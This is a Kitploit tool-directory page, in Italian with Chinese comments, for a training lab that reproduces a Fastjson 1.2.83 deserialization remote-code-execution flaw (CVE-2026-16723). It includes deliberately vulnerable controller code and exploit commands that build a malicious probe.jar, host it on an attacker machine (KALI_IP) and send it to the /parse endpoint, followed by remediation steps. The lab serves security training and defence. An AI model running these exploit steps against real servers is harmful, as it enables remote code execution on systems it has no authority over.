Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE ambiente cyber range (CVE-2026-16723) | Kitploit
Strumenti/GitHubGitHub/why-success/fastjson-rce-lab
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE ambiente cyber range (CVE-2026-16723)

Vedi Repository
323 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Fastjson 1.2.83 RCE — Ambiente di laboratorio (CVE-2026-16723)

Disclaimer: questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza, alla dimostrazione didattica e al miglioramento delle difese in ambienti autorizzati. Testare obiettivi non autorizzati può essere illegale; ogni conseguenza derivante dall'utilizzo è a carico dell'utente.

Panoramica della vulnerabilità

ElementoDescrizione
CVECVE-2026-16723 (CVSS 9.0)
Versioni interessateFastjson 1.2.68 ~ 1.2.83
Tipo di vulnerabilitàEsecuzione remota di codice (RCE) tramite deserializzazione
Caratteristica principaleGadget-free (non dipende da librerie di terze parti)
Condizioni per RCE completaJDK 8 + Spring Boot Fat-JAR + SafeMode disattivato

Descrizione dell'ambiente di laboratorio

  • Fastjson 1.2.83

    • SafeMode disattivato (stato predefinito)
  • Spring Boot fat-JAR (include LaunchedURLClassLoader, componente necessario per la catena di exploit)

  • Riga chiave modificata: ParseController imposta il ClassLoader del thread su LaunchedURLClassLoader prima di chiamare JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); questa è la precondizione necessaria affinché il percorso di probe di @JSONType possa caricare classi da remoto

  • Fornisce due endpoint di parsing: /parse (JSON.parse) e /parseObject (JSON.parseObject)

Requisiti di sistema

  • JDK 8 (obbligatorio per una RCE completa; con JDK 9+ si ottiene solo SSRF, non una RCE completa)
  • Sistema operativo: Windows / Linux / UOS / macOS
  • Memoria: minimo 256 MB liberi

Build

Per creare il fat-JAR dal codice sorgente (richiede JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

L'output della build si trova in target/fastjson-rce-lab.jar.

Se non hai Maven, puoi usare il Maven Wrapper incluso nel progetto (è necessario configurare in anticipo mvnw).

Avvio rapido

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

Su --server.port=18080: nell'ambiente possono essere presenti variabili d'ambiente come SERVER__PORT che sovrascrivono la configurazione della porta in application.properties; specificare forzatamente la porta tramite parametro da riga di comando garantisce che la porta sia corretta (i parametri da riga di comando hanno la priorità più alta).

Sui parametri JVM: -Xmx256m -XX:+UseSerialGC servono per un funzionamento regolare su macchine virtuali con poca memoria (es. Kali 2-4 GB), evitando OOM durante l'inizializzazione della JVM. Se la macchina ha memoria sufficiente, possono essere rimossi.

Verifica dell'avvio

root@kitploit:~
curl http://127.0.0.1:18080/status

Risposta attesa:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false e vulnerable: true indicano uno stato vulnerabile.

Descrizione degli endpoint

Principio della vulnerabilità

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

Codice chiave nel laboratorio

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Senza questa riga setContextClassLoader, Fastjson utilizza il class loader di sistema predefinito (AppClassLoader) e non è in grado di caricare classi remote tramite il protocollo jar:http://.

Riproduzione dell'exploit

Primo passo: ottenere lo strumento PoC

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Secondo passo: modificare GenProbe.java (passaggio chiave)

Il poc/GenProbe.java incluso nel repository presenta due problemi di compatibilità, già corretti:

  1. /bin/bash -c hardcoded → sostituito con una versione generica che usa Runtime.exec(String) (funziona sia su Windows che su Linux)
  2. Formato dei comandi multipiattaforma: su laboratorio Windows usare "cmd /c xxx", su laboratorio Linux usare direttamente "touch /tmp/pwned" o "bash -c xxx"

Terzo passo: generare probe.jar e ospitarlo

La procedura completa di attacco è descritta in 靶场测试完整指南.md (nella stessa directory), che include:

  • l'intera procedura di attacco in sette passaggi
  • una tabella di riferimento rapido dei comandi per ogni piattaforma
  • 6 errori comuni e relative procedure di risoluzione

Verifica rapida (esempio su laboratorio Windows)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Rimedi

Fix urgente: attivare SafeMode

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Fix a lungo termine: migrare a Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 non è affetto da questa vulnerabilità.

Altre misure

  • Usare la build com.alibaba:fastjson:1.2.83_noneautotype
  • Bloccare il traffico HTTP in uscita dal server applicativo
  • Verificare tutte le istanze di dipendenza da Fastjson 1.x

Riferimenti tecnici

  • Disclosure di Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
  • Progetto PoC: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Security Advisory di Alibaba (2026-07-21)
  • Security Advisory di Tencent Cloud (2026-07-20)
Scarica lo strumento
MetodoPercorsoDescrizione
GET/Home page del laboratorio (HTML)
GET/statusStato della configurazione Fastjson (JSON)
POST/parseJSON.parse(body) — endpoint principale per l'attivazione della vulnerabilità
POST/parseObjectJSON.parseObject(body) — endpoint alternativo per l'attivazione della vulnerabilità